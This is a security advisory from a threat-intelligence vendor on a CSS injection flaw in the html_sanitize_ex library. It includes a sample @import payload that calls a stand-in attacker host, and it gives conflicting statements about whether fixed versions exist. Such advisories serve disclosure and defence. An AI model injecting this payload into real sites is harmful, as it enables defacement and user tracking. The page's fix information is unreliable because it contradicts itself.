# CVE-2026-68747: rrrene html_sanitize_ex CSS injection via unvalidated at-rules

Source: https://junglewise.ai/threats/cve-2026-68747-rrrene-html-sanitize-ex-css-injection-via-unvalidated-at-rules  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2026-08-06. Updated: 2026-09-25  
License: CC BY 4.0 with a link back

CVE-2026-68747 · Severity: medium · CVSS 6.1 · Published 2026-08-06

html_sanitize_ex is a library used to remove potentially malicious code from HTML content before displaying it to users. An attacker can inject CSS @import rules pointing to attacker-controlled stylesheets, which are then served to other users viewing the sanitized content. While script execution is prevented, this allows an attacker to deface pages or load tracking stylesheets without authorization.

Technologies: [Rrrene Html Sanitize Ex](https://junglewise.ai/threats/technologies/html-sanitize-ex), [Rrrene Htmlsanitizeex](https://junglewise.ai/threats/technologies/htmlsanitizeex). Vendors: [Rrrene](https://junglewise.ai/threats/vendors/rrrene).

## Quick answers

**Is CVE-2026-68747 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2026-68747 being exploited in the wild.

**How severe is CVE-2026-68747?** Medium severity, with a CVSS score of 6.1, published 6 August 2026.

**Which products and versions are affected?** Rrrene Html Sanitize Ex 0.3.1 to 1.4.4, 1.5.0-rc.0 to 1.5.3.

**Is there a fix for CVE-2026-68747?** No fixed version is recorded yet. Check the vendor's advisory in the references below. If you run it, Junglewise drafts a mitigation that fits your setup and applies it once you approve, with senior security engineers behind it.

**How is CVE-2026-68747 attacked?** It is attacked over the network, in a software library.

**Am I affected by CVE-2026-68747?** Check whether you run Rrrene Html Sanitize Ex or Rrrene Htmlsanitizeex at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## Technical details

The vulnerability is a CSS injection (CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code) in the CSS scrubber component of html_sanitize_ex. The scrubber uses a regex-based allowlist approach that only validates property:value declarations; any CSS text outside this pattern (such as @import rules) passes through unchecked. An unauthenticated remote attacker can inject @import url(//attacker.example/style.css) within <style> tags, causing victim browsers to fetch and apply malicious stylesheets. Element boundaries prevent script injection, limiting impact to CSS-based attacks. Versions 0.3.1–1.4.4 and 1.5.0-rc.0–1.5.3 are affected; patches are available in 1.4.5 and 1.5.4.

## Affected products

- rrrene html_sanitize_ex 0.3.1 to 1.4.4, 1.5.0-rc.0 to 1.5.3

## Timeline

- 2026-08-06: disclosed

## References

- [https://repo.hex.pm/](https://repo.hex.pm/)
- [https://github.com/](https://github.com/)

## Related threats

- [rrrene html_sanitize_ex algorithmic complexity DoS](https://junglewise.ai/threats/cve-2026-68750-rrrene-html-sanitize-ex-algorithmic-complexity-dos)
- [rrrene html_sanitize_ex ReDoS in CSS scrubber](https://junglewise.ai/threats/cve-2026-68749-rrrene-html-sanitize-ex-redos-in-css-scrubber)
- [rrrene html_sanitize_ex object element URI bypass](https://junglewise.ai/threats/cve-2026-66843-rrrene-html-sanitize-ex-object-element-uri-bypass)
- [rrrene html_sanitize_ex open redirect in meta refresh](https://junglewise.ai/threats/cve-2026-66829-rrrene-html-sanitize-ex-open-redirect-in-meta-refresh)
- [rrrene html_sanitize_ex open redirect via form attributes](https://junglewise.ai/threats/cve-2026-66370-rrrene-html-sanitize-ex-open-redirect-via-form-attributes)